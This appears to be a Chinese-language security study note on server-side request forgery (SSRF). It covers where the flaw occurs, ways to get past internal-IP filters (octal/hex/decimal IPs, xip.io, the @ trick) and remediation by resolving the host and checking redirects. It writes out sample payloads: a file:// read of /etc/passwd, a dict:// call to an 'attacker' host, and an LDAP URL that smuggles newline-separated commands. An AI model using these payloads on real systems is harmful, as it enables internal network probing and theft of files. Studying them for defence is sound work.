漏洞原理
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
ssrf用处
探测内网信息,用协议探ftp%26ip={ip}%26port={port}
攻击内网或本地其他服务
穿透防火墙
漏洞处
能够对外发起网络请求的地方
请求远程服务器资源的地方
数据库内置功能
邮件系统
文件处理
在线处理工具
举几个例子:
在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
邮件系统就是接收邮件服务器地址这些地方。
文件就找ImageMagick,xml这些。
从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。
绕过姿势
http://[email protected]
利用IP地址的省略写法绕过,[::]绕过localhost
DNS解析 http://127.0.0.1.xip.io/ 可以指向任意ip的域名:xip.io
利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过
利用协议
https://www.secpulse.com/archives/70471.html
接受ua为curl的时候,支持的协议有
使用curl -v http://xx.com/ssrf.php?url=sxxx
file://
ssrf.php?url=file:///etc/password
Dict://
dict://
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
漏洞修复
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
检查是否为内网IP地址绕过方法: 利用八进制IP地址绕过 利用十六进制IP地址绕过 利用十进制的IP地址绕过 利用IP地址的省略写法绕过最好的做法:IP地址转换为整数再进行判断
获取真正请求的host
如何正确的获取用户输入的URL的Host?最常见的就是,使用http://[email protected]:8080/、http://10.0.0.1#233.233.233.233这样的URL,让后端认为其Host是233.233.233.233,实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误,有很多程序员甚至会用正则去解析URL。使用urllib.parse可以解析真正的hostname
只要Host只要不是内网IP即可吗?host可能为ip,可能为域名,利用xip.io绕过。方法:判断是否为http协议,获取url的host,再解析该host,将解析到的ip再进行检查
只要Host指向的IP不是内网IP即可吗?不一定,可能会30x跳转
归纳解析目标URL,获取其Host解析Host,获取Host指向的IP地址检查IP地址是否为内网IP请求URL如果有跳转,拿出跳转URL,执行1